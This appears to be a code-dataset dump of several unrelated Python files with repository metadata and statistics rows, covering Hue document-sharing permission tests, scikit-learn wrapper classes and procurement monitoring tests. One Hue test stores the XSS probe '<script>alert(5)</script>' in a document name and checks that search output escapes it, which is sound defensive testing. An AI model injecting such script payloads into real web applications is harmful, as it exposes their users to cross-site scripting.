else:
try:
output.append(ip4_geo.time_zone_by_addr(entry))
except:
output.append("Invalid")
#Done
return output
| 22.158416 | 85 | 0.610366 | 305 | 2,238 | 4.377049 | 0.206557 | 0.107865 | 0.067416 | 0.103371 | 0.92809 | 0.92809 | 0.92809 | 0.916105 | 0.916105 | 0.916105 | 0 | 0.02027 | 0.272565 | 2,238 | 100 | 86 | 22.38 | 0.799754 | 0.215371 | 0 | 0.74 | 0 | 0 | 0.135447 | 0.104899 | 0 | 0 | 0 | 0 | 0 | 1 | 0.06 | false | 0 | 0.04 | 0 | 0.16 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
03166c208f5bbdbd89f931e761ad52f343833011 | 124 | py | Python | vizier/jax/pyvizier/multimetric/__init__.py | google/vizier | 12b64ce191410e1c3a79a98472a1b17811290ed3 | [
"Apache-2.0"
] | 15 | 2022-03-03T21:05:47.000Z | 2022-03-30T17:17:51.000Z | vizier/jax/pyvizier/multimetric/__init__.py | google/vizier | 12b64ce191410e1c3a79a98472a1b17811290ed3 | [
"Apache-2.0"
] | null | null | null | vizier/jax/pyvizier/multimetric/__init__.py | google/vizier | 12b64ce191410e1c3a79a98472a1b17811290ed3 | [
"Apache-2.0"
] | null | null | null | """Init module."""
from vizier._src.jax import xla_pareto
from vizier._src.jax.xla_pareto import JaxParetoOptimalAlgorithm
| 24.8 | 64 | 0.814516 | 17 | 124 | 5.705882 | 0.588235 | 0.206186 | 0.268041 | 0.329897 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.08871 | 124 | 4 | 65 | 31 | 0.858407 | 0.096774 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 8 |
035b11a3d2f34a7ef67b80b9f6bfba1079c658a9 | 137 | py | Python | gaphor/UML/__init__.py | Texopolis/gaphor | 3b190620075fd413258af1e7a007b4b2167a7564 | [
"Apache-2.0"
] | 1 | 2022-01-30T15:33:53.000Z | 2022-01-30T15:33:53.000Z | gaphor/UML/__init__.py | burakozturk16/gaphor | 86267a5200ac4439626d35d306dbb376c3800107 | [
"Apache-2.0"
] | null | null | null | gaphor/UML/__init__.py | burakozturk16/gaphor | 86267a5200ac4439626d35d306dbb376c3800107 | [
"Apache-2.0"
] | 1 | 2022-01-23T18:36:27.000Z | 2022-01-23T18:36:27.000Z | # Here, order matters
import gaphor.UML.umloverrides
from gaphor.UML.uml import *
import gaphor.UML.deletable
import gaphor.UML.iconname
| 22.833333 | 30 | 0.817518 | 20 | 137 | 5.6 | 0.5 | 0.321429 | 0.401786 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.10219 | 137 | 5 | 31 | 27.4 | 0.910569 | 0.138686 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
cee01a621e6a32c72fa4e271fde08d44be039077 | 9,060 | py | Python | amicus/simplify/core/externals.py | WithPrecedent/amicus | 0de6d90c34b8402f4464dcba784349514b3b8e42 | [
"Apache-2.0"
] | null | null | null | amicus/simplify/core/externals.py | WithPrecedent/amicus | 0de6d90c34b8402f4464dcba784349514b3b8e42 | [
"Apache-2.0"
] | null | null | null | amicus/simplify/core/externals.py | WithPrecedent/amicus | 0de6d90c34b8402f4464dcba784349514b3b8e42 | [
"Apache-2.0"
] | null | null | null | """
components: core components of a data science workflow
Corey Rayburn Yung <coreyrayburnyung@gmail.com>
Copyright 2020, Corey Rayburn Yung
License: Apache-2.0 (https://www.apache.org/licenses/LICENSE-2.0)
Contents:
"""
from __future__ import annotations
import abc
import dataclasses
from typing import (Any, Callable, ClassVar, Dict, Hashable, Iterable, List,
Mapping, MutableMapping, MutableSequence, Optional, Sequence, Set, Tuple,
Type, Union)
import more_itertools
import amicus
from . import base
from . import components
from . import stages
@dataclasses.dataclass
class SklearnModel(amicus.base.Quirk):
"""Wrapper for a scikit-learn model (an algorithm that doesn't transform).
Args:
name (str): designates the name of a class instance that is used for
internal referencing throughout amicus. For example, if an amicus
instance needs options from a Configuration instance, 'name' should match
the appropriate section name in a Configuration instance. Defaults to
None.
contents (Union[Callable, Type, object, str]): stored item(s) for use by
a Component subclass instance. If it is Type or str, an instance
will be created. If it is a str, that instance will be found in
'module'. Defaults to None.
parameters (Union[Mapping[str, Any], base.Parameters]): parameters, in
the form of an ordinary dict or a Parameters instance, to be
attached to 'contents' when the 'implement' method is called.
Defaults to an empty Parameters instance.
iterations (Union[int, str]): number of times the 'implement' method
should be called. If 'iterations' is 'infinite', the 'implement'
method will continue indefinitely unless the method stops further
iteration. Defaults to 1.
module (str): name of module where 'contents' is located if 'contents'
is a string. It can either be an amicus or external module, as
long as it is available to the python environment. Defaults to None.
parallel (ClassVar[bool]): indicates whether this Component design is
meant to be part of a parallel workflow structure. Defaults to
False.
"""
name: str = None
contents: Union[Callable, Type, object, str] = None
parameters: Union[Mapping[str, Any], base.Parameters] = base.Parameters()
iterations: Union[int, str] = 1
module: str = None
parallel: ClassVar[bool] = False
""" Public Methods """
def implement(self, project: amicus.Project) -> amicus.Project:
"""[summary]
Args:
project (amicus.Project): [description]
Returns:
amicus.Project: [description]
"""
try:
self.parameters = self.parameters.finalize(project = project)
except AttributeError:
pass
self.contents = self.contents(**self.parameters)
self.contents.fit[project.data.x_train]
return project
@dataclasses.dataclass
class SklearnSplitter(amicus.base.Quirk):
"""Wrapper for a scikit-learn data splitter.
Args:
name (str): designates the name of a class instance that is used for
internal referencing throughout amicus. For example, if an amicus
instance needs options from a Configuration instance, 'name' should match
the appropriate section name in a Configuration instance. Defaults to
None.
contents (Union[Callable, Type, object, str]): stored item(s) for use by
a Component subclass instance. If it is Type or str, an instance
will be created. If it is a str, that instance will be found in
'module'. Defaults to None.
parameters (Union[Mapping[str, Any], base.Parameters]): parameters, in
the form of an ordinary dict or a Parameters instance, to be
attached to 'contents' when the 'implement' method is called.
Defaults to an empty Parameters instance.
iterations (Union[int, str]): number of times the 'implement' method
should be called. If 'iterations' is 'infinite', the 'implement'
method will continue indefinitely unless the method stops further
iteration. Defaults to 1.
module (str): name of module where 'contents' is located if 'contents'
is a string. It can either be an amicus or external module, as
long as it is available to the python environment. Defaults to None.
parallel (ClassVar[bool]): indicates whether this Component design is
meant to be part of a parallel workflow structure. Defaults to
False.
"""
name: str = None
contents: Union[Callable, Type, object, str] = None
parameters: Union[Mapping[str, Any], base.Parameters] = base.Parameters()
iterations: Union[int, str] = 1
module: str = None
parallel: ClassVar[bool] = False
""" Public Methods """
def implement(self, project: amicus.Project) -> amicus.Project:
"""[summary]
Args:
project (amicus.Project): [description]
Returns:
amicus.Project: [description]
"""
try:
self.parameters = self.parameters.finalize(project = project)
except AttributeError:
pass
self.contents = self.contents(**self.parameters)
project.data.splits = tuple(self.contents.split(project.data.x))
project.data.split()
return project
@dataclasses.dataclass
class SklearnTransformer(amicus.base.Quirk):
"""Wrapper for a scikit-learn transformer.
Args:
name (str): designates the name of a class instance that is used for
internal referencing throughout amicus. For example, if an amicus
instance needs options from a Configuration instance, 'name' should match
the appropriate section name in a Configuration instance. Defaults to
None.
contents (Union[Callable, Type, object, str]): stored item(s) for use by
a Component subclass instance. If it is Type or str, an instance
will be created. If it is a str, that instance will be found in
'module'. Defaults to None.
parameters (Union[Mapping[str, Any], base.Parameters]): parameters, in
the form of an ordinary dict or a Parameters instance, to be
attached to 'contents' when the 'implement' method is called.
Defaults to an empty Parameters instance.
iterations (Union[int, str]): number of times the 'implement' method
should be called. If 'iterations' is 'infinite', the 'implement'
method will continue indefinitely unless the method stops further
iteration. Defaults to 1.
module (str): name of module where 'contents' is located if 'contents'
is a string. It can either be an amicus or external module, as
long as it is available to the python environment. Defaults to None.
parallel (ClassVar[bool]): indicates whether this Component design is
meant to be part of a parallel workflow structure. Defaults to
False.
"""
name: str = None
contents: Union[Callable, Type, object, str] = None
parameters: Union[Mapping[str, Any], base.Parameters] = base.Parameters()
iterations: Union[int, str] = 1
module: str = None
parallel: ClassVar[bool] = False
""" Public Methods """
def adjust_parameters(self, project: amicus.Project) -> None:
"""[summary]
Args:
project (amicus.Project): [description]
Returns:
[type]: [description]
"""
return self
def implement(self, project: amicus.Project, **kwargs) -> amicus.Project:
"""[summary]
Args:
project (amicus.Project): [description]
Returns:
amicus.Project: [description]
"""
try:
self.contents.parameters = self.contents.parameters.finalize(
project = project)
except AttributeError:
pass
self.adjust_parameters(project = project)
self.contents = self.contents(**self.parameters)
data = project.data
data.x_train = self.contents.fit[data.x_train]
data.x_train = self.contents.transform(data.x_train)
if data.x_test is not None:
data.x_test = self.contents.transform(data.x_test)
if data.x_validate is not None:
data.x_validate = self.contents.transform(data.x_validate)
project.data = data
return project
| 41.369863 | 86 | 0.624062 | 1,065 | 9,060 | 5.292019 | 0.165258 | 0.031938 | 0.035486 | 0.026615 | 0.83907 | 0.8011 | 0.78797 | 0.779276 | 0.748935 | 0.748935 | 0 | 0.002206 | 0.299669 | 9,060 | 219 | 87 | 41.369863 | 0.886052 | 0.600883 | 0 | 0.56338 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.056338 | false | 0.042254 | 0.126761 | 0 | 0.535211 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 7 |
30255b664bd660a30aaebb390ee3e537c6182204 | 17,191 | py | Python | desktop/core/src/desktop/api2_tests.py | sbaudoin/hue | 55c125f389915b23608c825a98ca2e41b702f32a | [
"Apache-2.0"
] | null | null | null | desktop/core/src/desktop/api2_tests.py | sbaudoin/hue | 55c125f389915b23608c825a98ca2e41b702f32a | [
"Apache-2.0"
] | null | null | null | desktop/core/src/desktop/api2_tests.py | sbaudoin/hue | 55c125f389915b23608c825a98ca2e41b702f32a | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# Licensed to Cloudera, Inc. under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. Cloudera, Inc. licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not use this file except in compliance
# with the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
from builtins import object
import json
import re
from nose.tools import assert_true, assert_false, assert_equal, assert_not_equal, assert_raises
from useradmin.models import get_default_user_group
from desktop.lib.django_test_util import make_logged_in_client
from desktop.lib.test_utils import grant_access
from desktop.models import Document2, User
class TestApi2(object):
def setUp(self):
self.client = make_logged_in_client(username="api2_user", groupname="default", recreate=True, is_superuser=False)
self.user = User.objects.get(username="api2_user")
grant_access(self.user.username, self.user.username, "desktop")
def test_search_entities_interactive_xss(self):
query = Document2.objects.create(
name='<script>alert(5)</script>',
description='<script>alert(5)</script>',
type='query-hive',
owner=self.user
)
try:
response = self.client.post('/desktop/api/search/entities_interactive/', data={
'sources': json.dumps(['documents']),
'query_s': json.dumps('alert')
})
results = json.loads(response.content)['results']
assert_true(results)
result_json = json.dumps(results)
assert_false(re.match('<(?!em)', result_json), result_json)
assert_false(re.match('(?!em)>', result_json), result_json)
assert_false('<script>' in result_json, result_json)
assert_false('</script>' in result_json, result_json)
assert_true('<' in result_json, result_json)
assert_true('>' in result_json, result_json)
finally:
query.delete()
class TestDocumentApiSharingPermissions(object):
def setUp(self):
self.client = make_logged_in_client(username="perm_user", groupname="default", recreate=True, is_superuser=False)
self.client_not_me = make_logged_in_client(username="not_perm_user", groupname="default", recreate=True, is_superuser=False)
self.user = User.objects.get(username="perm_user")
self.user_not_me = User.objects.get(username="not_perm_user")
grant_access(self.user.username, self.user.username, "desktop")
grant_access(self.user_not_me.username, self.user_not_me.username, "desktop")
def _add_doc(self, name):
return Document2.objects.create(
name=name,
type='query-hive',
owner=self.user
)
def share_doc(self, doc, permissions, client=None):
if client is None:
client = self.client
return client.post("/desktop/api2/doc/share", {
'uuid': json.dumps(doc.uuid),
'data': json.dumps(permissions)
})
def share_link_doc(self, doc, perm, is_on=False, client=None):
if client is None:
client = self.client
return client.post("/desktop/api2/doc/share/link", {
'uuid': json.dumps(doc.uuid),
'data': json.dumps({'name': 'link_%s' % perm, 'is_link_on': is_on})
})
def test_update_permissions(self):
doc = self._add_doc('test_update_permissions')
response = self.share_doc(
doc,
{
'read': {
'user_ids': [self.user_not_me.id],
'group_ids': []
}
}
)
assert_equal(0, json.loads(response.content)['status'], response.content)
def test_share_document_permissions(self):
# No doc
response = self.client.get('/desktop/api2/docs/')
assert_false(json.loads(response.content)['documents'])
response = self.client_not_me.get('/desktop/api2/docs/')
assert_false(json.loads(response.content)['documents'])
# Add doc
doc = self._add_doc('test_update_permissions')
doc_id = '%s' % doc.id
response = self.client.get('/desktop/api2/docs/')
assert_true(json.loads(response.content)['documents'])
response = self.client_not_me.get('/desktop/api2/docs/')
assert_false(json.loads(response.content)['documents'])
assert_true(doc.can_read(self.user))
assert_true(doc.can_write(self.user))
assert_false(doc.can_read(self.user_not_me))
assert_false(doc.can_write(self.user_not_me))
# Share by user
response = self.share_doc(doc, {
'read': {
'user_ids': [
self.user_not_me.id
],
'group_ids': []
},
'write': {
'user_ids': [],
'group_ids': []
}
}
)
assert_equal(0, json.loads(response.content)['status'], response.content)
assert_true(doc.can_read(self.user))
assert_true(doc.can_write(self.user))
assert_true(doc.can_read(self.user_not_me))
assert_false(doc.can_write(self.user_not_me))
response = self.client.get('/desktop/api2/docs/')
assert_true(json.loads(response.content)['documents'])
response = self.client_not_me.get('/desktop/api2/docs/')
assert_true(json.loads(response.content)['documents'])
# Un-share
response = self.share_doc(doc, {
'read': {
'user_ids': [
],
'group_ids': []
},
'write': {
'user_ids': [],
'group_ids': []
}
}
)
assert_equal(0, json.loads(response.content)['status'], response.content)
assert_true(doc.can_read(self.user))
assert_true(doc.can_write(self.user))
assert_false(doc.can_read(self.user_not_me))
assert_false(doc.can_write(self.user_not_me))
response = self.client.get('/desktop/api2/docs/')
assert_true(json.loads(response.content)['documents'])
response = self.client_not_me.get('/desktop/api2/docs/')
assert_false(json.loads(response.content)['documents'])
# Share by group
default_group = get_default_user_group()
response = self.share_doc(doc, {
'read': {
'user_ids': [
],
'group_ids': []
},
'write': {
'user_ids': [],
'group_ids': [default_group.id]
}
}
)
assert_equal(0, json.loads(response.content)['status'], response.content)
assert_true(doc.can_read(self.user))
assert_true(doc.can_write(self.user))
assert_true(doc.can_read(self.user_not_me))
assert_true(doc.can_write(self.user_not_me))
response = self.client.get('/desktop/api2/docs/')
assert_true(json.loads(response.content)['documents'])
response = self.client_not_me.get('/desktop/api2/docs/')
assert_true(json.loads(response.content)['documents'])
# Un-share
response = self.share_doc(doc, {
'read': {
'user_ids': [
],
'group_ids': []
},
'write': {
'user_ids': [],
'group_ids': []
}
}
)
assert_equal(0, json.loads(response.content)['status'], response.content)
assert_true(doc.can_read(self.user))
assert_true(doc.can_write(self.user))
assert_false(doc.can_read(self.user_not_me))
assert_false(doc.can_write(self.user_not_me))
response = self.client.get('/desktop/api2/docs/')
assert_true(json.loads(response.content)['documents'])
response = self.client_not_me.get('/desktop/api2/docs/')
assert_false(json.loads(response.content)['documents'])
# Modify by other user
response = self.share_doc(doc, {
'read': {
'user_ids': [
],
'group_ids': []
},
'write': {
'user_ids': [self.user_not_me.id],
'group_ids': []
}
}
)
assert_equal(0, json.loads(response.content)['status'], response.content)
assert_true(doc.can_read(self.user))
assert_true(doc.can_write(self.user))
assert_true(doc.can_read(self.user_not_me))
assert_true(doc.can_write(self.user_not_me))
response = self.client.get('/desktop/api2/docs/')
assert_true(json.loads(response.content)['documents'])
response = self.client_not_me.get('/desktop/api2/docs/')
assert_true(json.loads(response.content)['documents'])
# Un-share
response = self.share_doc(doc, {
'read': {
'user_ids': [
],
'group_ids': []
},
'write': {
'user_ids': [],
'group_ids': []
}
}
)
assert_equal(0, json.loads(response.content)['status'], response.content)
assert_true(doc.can_read(self.user))
assert_true(doc.can_write(self.user))
assert_false(doc.can_read(self.user_not_me))
assert_false(doc.can_write(self.user_not_me))
response = self.client.get('/desktop/api2/docs/')
assert_true(json.loads(response.content)['documents'])
response = self.client_not_me.get('/desktop/api2/docs/')
assert_false(json.loads(response.content)['documents'])
# Modify by group
response = self.share_doc(doc, {
'read': {
'user_ids': [
],
'group_ids': []
},
'write': {
'user_ids': [],
'group_ids': [default_group.id]
}
}
)
assert_equal(0, json.loads(response.content)['status'], response.content)
assert_true(doc.can_read(self.user))
assert_true(doc.can_write(self.user))
assert_true(doc.can_read(self.user_not_me))
assert_true(doc.can_write(self.user_not_me))
response = self.client.get('/desktop/api2/docs/')
assert_true(json.loads(response.content)['documents'])
response = self.client_not_me.get('/desktop/api2/docs/')
assert_true(json.loads(response.content)['documents'])
# Un-share
response = self.share_doc(doc, {
'read': {
'user_ids': [
],
'group_ids': []
},
'write': {
'user_ids': [],
'group_ids': []
}
}
)
assert_equal(0, json.loads(response.content)['status'], response.content)
assert_true(doc.can_read(self.user))
assert_true(doc.can_write(self.user))
assert_false(doc.can_read(self.user_not_me))
assert_false(doc.can_write(self.user_not_me))
response = self.client.get('/desktop/api2/docs/')
assert_true(json.loads(response.content)['documents'])
response = self.client_not_me.get('/desktop/api2/docs/')
assert_false(json.loads(response.content)['documents'])
def test_update_permissions_cannot_escalate_privileges(self):
doc = self._add_doc('test_update_permissions_cannot_escape_privileges')
# Share read permissions
response = self.share_doc(doc, {
'read': {
'user_ids': [
self.user_not_me.id
],
'group_ids': []
},
'write': {
'user_ids': [],
'group_ids': []
}
}
)
assert_equal(0, json.loads(response.content)['status'], response.content)
assert_true(doc.can_read(self.user))
assert_true(doc.can_write(self.user))
assert_true(doc.can_read(self.user_not_me))
assert_false(doc.can_write(self.user_not_me))
# Try, and fail to escalate privileges.
response = self.share_doc(doc, {
'read': {
'user_ids': [
self.user_not_me.id
],
'group_ids': []
},
'write': {
'user_ids': [
self.user_not_me.id,
],
'group_ids': []
}
},
self.client_not_me
)
content = json.loads(response.content)
assert_equal(content['status'], -1)
assert_true("Document does not exist or you don\'t have the permission to access it." in content['message'], content['message'])
assert_true(doc.can_read(self.user))
assert_true(doc.can_write(self.user))
assert_true(doc.can_read(self.user_not_me))
assert_false(doc.can_write(self.user_not_me))
def test_link_sharing_permissions(self):
# Add doc
doc = self._add_doc('test_link_sharing_permissions')
doc_id = '%s' % doc.id
response = self.client.get('/desktop/api2/docs/?text=test_link_sharing_permissions')
assert_true(json.loads(response.content)['documents'])
response = self.client_not_me.get('/desktop/api2/docs/?text=test_link_sharing_permissions')
assert_false(json.loads(response.content)['documents'])
response = self.client.get('/desktop/api2/doc/?uuid=%s' % doc_id)
assert_equal(0, json.loads(response.content)['status'], response.content)
response = self.client_not_me.get('/desktop/api2/doc/?uuid=%s' % doc_id)
assert_equal(-1, json.loads(response.content)['status'], response.content)
assert_true(doc.can_read(self.user))
assert_true(doc.can_write(self.user))
assert_false(doc.can_read(self.user_not_me))
assert_false(doc.can_write(self.user_not_me))
# Share by read link
response = self.share_link_doc(doc, perm='read', is_on=True)
assert_equal(0, json.loads(response.content)['status'], response.content)
assert_true(doc.can_read(self.user))
assert_true(doc.can_write(self.user))
assert_true(doc.can_read(self.user_not_me))
assert_false(doc.can_write(self.user_not_me))
response = self.client.get('/desktop/api2/docs/?text=test_link_sharing_permissions')
assert_true(json.loads(response.content)['documents'])
response = self.client_not_me.get('/desktop/api2/docs/?text=test_link_sharing_permissions')
assert_false(json.loads(response.content)['documents']) # Link sharing does not list docs in Home, only provides direct access
response = self.client.get('/desktop/api2/doc/?uuid=%s' % doc_id)
assert_equal(0, json.loads(response.content)['status'], response.content)
response = self.client_not_me.get('/desktop/api2/doc/?uuid=%s' % doc_id)
assert_equal(0, json.loads(response.content)['status'], response.content)
# Un-share
response = self.share_link_doc(doc, perm='read', is_on=False)
assert_equal(0, json.loads(response.content)['status'], response.content)
assert_true(doc.can_read(self.user))
assert_true(doc.can_write(self.user))
assert_false(doc.can_read(self.user_not_me))
assert_false(doc.can_write(self.user_not_me))
response = self.client.get('/desktop/api2/docs/?text=test_link_sharing_permissions')
assert_true(json.loads(response.content)['documents'])
response = self.client_not_me.get('/desktop/api2/docs/?text=test_link_sharing_permissions')
assert_false(json.loads(response.content)['documents'])
response = self.client.get('/desktop/api2/doc/?uuid=%s' % doc_id)
assert_equal(0, json.loads(response.content)['status'], response.content)
response = self.client_not_me.get('/desktop/api2/doc/?uuid=%s' % doc_id)
assert_equal(-1, json.loads(response.content)['status'], response.content)
# Share by write link
response = self.share_link_doc(doc, perm='write', is_on=True)
assert_equal(0, json.loads(response.content)['status'], response.content)
assert_true(doc.can_read(self.user))
assert_true(doc.can_write(self.user))
assert_true(doc.can_read(self.user_not_me))
assert_true(doc.can_write(self.user_not_me))
response = self.client.get('/desktop/api2/docs/?text=test_link_sharing_permissions')
assert_true(json.loads(response.content)['documents'])
response = self.client_not_me.get('/desktop/api2/docs/?text=test_link_sharing_permissions')
assert_false(json.loads(response.content)['documents'])
response = self.client.get('/desktop/api2/doc/?uuid=%s' % doc_id)
assert_equal(0, json.loads(response.content)['status'], response.content)
response = self.client_not_me.get('/desktop/api2/doc/?uuid=%s' % doc_id)
assert_equal(0, json.loads(response.content)['status'], response.content)
# Un-share
response = self.share_link_doc(doc, perm='write', is_on=False)
assert_equal(0, json.loads(response.content)['status'], response.content)
assert_true(doc.can_read(self.user))
assert_true(doc.can_write(self.user))
assert_false(doc.can_read(self.user_not_me))
assert_false(doc.can_write(self.user_not_me))
response = self.client.get('/desktop/api2/docs/?text=test_link_sharing_permissions')
assert_true(json.loads(response.content)['documents'])
response = self.client_not_me.get('/desktop/api2/docs/?text=test_link_sharing_permissions')
assert_false(json.loads(response.content)['documents'])
response = self.client.get('/desktop/api2/doc/?uuid=%s' % doc_id)
assert_equal(0, json.loads(response.content)['status'], response.content)
response = self.client_not_me.get('/desktop/api2/doc/?uuid=%s' % doc_id)
assert_equal(-1, json.loads(response.content)['status'], response.content)
| 32.68251 | 132 | 0.662963 | 2,287 | 17,191 | 4.751202 | 0.087014 | 0.059636 | 0.087613 | 0.123689 | 0.812719 | 0.804436 | 0.79965 | 0.791552 | 0.777103 | 0.776367 | 0 | 0.005746 | 0.190158 | 17,191 | 525 | 133 | 32.744762 | 0.774745 | 0.063638 | 0 | 0.709333 | 0 | 0 | 0.165484 | 0.066306 | 0 | 0 | 0 | 0 | 0.341333 | 1 | 0.026667 | false | 0 | 0.021333 | 0.002667 | 0.061333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
3036d54d501e6841e2784ffb032765e1e872ada2 | 32,461 | py | Python | openprocurement/audit/monitoring/tests/test_post.py | ProzorroUKR/openprocurement.audit.api | a17836e29bca28d9151c091e1d2e42de9f70b949 | [
"Apache-2.0"
] | 1 | 2018-05-21T08:14:55.000Z | 2018-05-21T08:14:55.000Z | openprocurement/audit/monitoring/tests/test_post.py | ProzorroUKR/openprocurement.audit.api | a17836e29bca28d9151c091e1d2e42de9f70b949 | [
"Apache-2.0"
] | 59 | 2018-05-18T02:09:47.000Z | 2019-05-29T12:10:06.000Z | openprocurement/audit/monitoring/tests/test_post.py | ProzorroUKR/openprocurement.audit.api | a17836e29bca28d9151c091e1d2e42de9f70b949 | [
"Apache-2.0"
] | 1 | 2020-06-15T11:04:25.000Z | 2020-06-15T11:04:25.000Z | # -*- coding: utf-8 -*-
import json
import unittest
from hashlib import sha512
from unittest import mock
from freezegun import freeze_time
from openprocurement.audit.monitoring.tests.base import BaseWebTest, DSWebTestMixin
from openprocurement.audit.monitoring.tests.utils import get_errors_field_names
@freeze_time('2018-01-01T12:00:00+02:00')
class MonitoringPostResourceTest(BaseWebTest, DSWebTestMixin):
def setUp(self):
super(MonitoringPostResourceTest, self).setUp()
self.app.app.registry.docservice_url = 'http://localhost'
self.create_monitoring()
self.app.authorization = ('Basic', (self.sas_name, self.sas_pass))
self.app.patch_json(
'/monitorings/{}'.format(self.monitoring_id),
{'data': {
"status": "active",
"decision": {
"date": "2015-05-10T23:11:39.720908+03:00",
"description": "text",
"documents": [{
'title': 'lorem.doc',
'url': self.generate_docservice_url(),
'hash': 'md5:' + '0' * 32,
'format': 'application/msword',
}]
}
}})
def test_post_get_empty_list(self):
self.app.authorization = ('Basic', (self.sas_name, self.sas_pass))
response = self.app.get('/monitorings/{}/posts'.format(self.monitoring_id))
self.assertEqual(response.status_code, 200)
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(len(response.json['data']), 0)
def test_post_create_required_fields(self):
self.app.authorization = ('Basic', (self.sas_name, self.sas_pass))
response = self.app.post_json(
'/monitorings/{}/posts'.format(self.monitoring_id),
{'data': {}}, status=422)
self.assertEqual(response.status_code, 422)
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(
{
('body', 'title'),
('body', 'description')
},
set(get_errors_field_names(response, 'This field is required.'))
)
@freeze_time('2018-01-02T12:30:00+02:00')
def test_post_create_by_monitoring_owner(self):
self.app.authorization = ('Basic', (self.sas_name, self.sas_pass))
# check initial date modified
response = self.app.get('/monitorings/{}'.format(self.monitoring_id))
self.assertEqual(response.status_code, 200)
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['data']['dateModified'], '2018-01-01T12:00:00+02:00')
request_doc_data = {
'title': 'lorem.doc',
'url': self.generate_docservice_url(),
'hash': 'md5:' + '0' * 32,
'format': 'application/msword',
}
request_data = {
'title': 'Lorem ipsum',
'description': 'Lorem ipsum dolor sit amet',
'documents': [request_doc_data]
}
response = self.app.post_json(
'/monitorings/{}/posts'.format(self.monitoring_id),
{'data': request_data})
self.assertEqual(response.status_code, 201)
self.assertEqual(response.content_type, 'application/json')
post_id = response.json['data']['id']
response = self.app.get('/monitorings/{}/posts/{}'.format(self.monitoring_id, post_id))
self.assertEqual(response.status_code, 200)
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['data']['title'], request_data["title"])
self.assertEqual(response.json['data']['description'], request_data['description'])
self.assertEqual(response.json['data']['author'], 'monitoring_owner')
self.assertEqual(len(response.json['data']['documents']), 1)
doc_data = response.json['data']['documents'][0]
self.assertEqual(
doc_data['url'].split("Signature")[0],
request_doc_data['url'].split("Signature")[0],
)
response = self.app.get('/monitorings/{}'.format(self.monitoring_id))
self.assertEqual(response.status_code, 200)
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['data']['dateModified'], '2018-01-02T12:30:00+02:00')
# update document
doc_hash = '1' * 32
request_data = {
'title': 'sign-1.p7s',
'url': self.generate_docservice_url(doc_hash=doc_hash),
'format': 'application/json',
'hash': 'md5:' + doc_hash,
}
response = self.app.put_json(
'/monitorings/{}/posts/{}/documents/{}'.format(
self.monitoring_id,
post_id,
doc_data["id"]
),
{'data': request_data},
)
self.assertEqual(response.json["data"]["title"], request_data["title"])
self.assertEqual(
response.json["data"]["url"].split("Signature")[0],
request_data["url"].split("Signature")[0],
)
self.assertEqual(response.json["data"]["format"], request_data["format"])
self.assertEqual(response.json["data"]["hash"], request_data["hash"])
# update doc data
request_data = {
'title': 'sign-2.p7s',
'url': self.generate_docservice_url(),
'format': 'application/pkcs7-signature',
'hash': 'md5:' + '2' * 32,
}
response = self.app.patch_json(
'/monitorings/{}/posts/{}/documents/{}'.format(
self.monitoring_id,
post_id,
doc_data["id"]
),
{'data': request_data},
)
self.assertEqual(response.json["data"]["title"], request_data["title"])
self.assertEqual(response.json["data"]["format"], request_data["format"])
self.assertNotEqual(
response.json["data"]["url"].split("Signature")[0],
request_data["url"].split("Signature")[0],
)
self.assertNotEqual(response.json["data"]["hash"], request_data["hash"])
@mock.patch('openprocurement.audit.monitoring.validation.TendersClient')
def test_post_create_by_tender_owner(self, mock_api_client):
mock_api_client.return_value.extract_credentials.return_value = {
'data': {'tender_token': sha512(b'tender_token').hexdigest()}
}
self.app.authorization = ('Basic', (self.broker_name, self.broker_pass))
response = self.app.patch_json(
'/monitorings/{}/credentials?acc_token={}'.format(self.monitoring_id, 'tender_token')
)
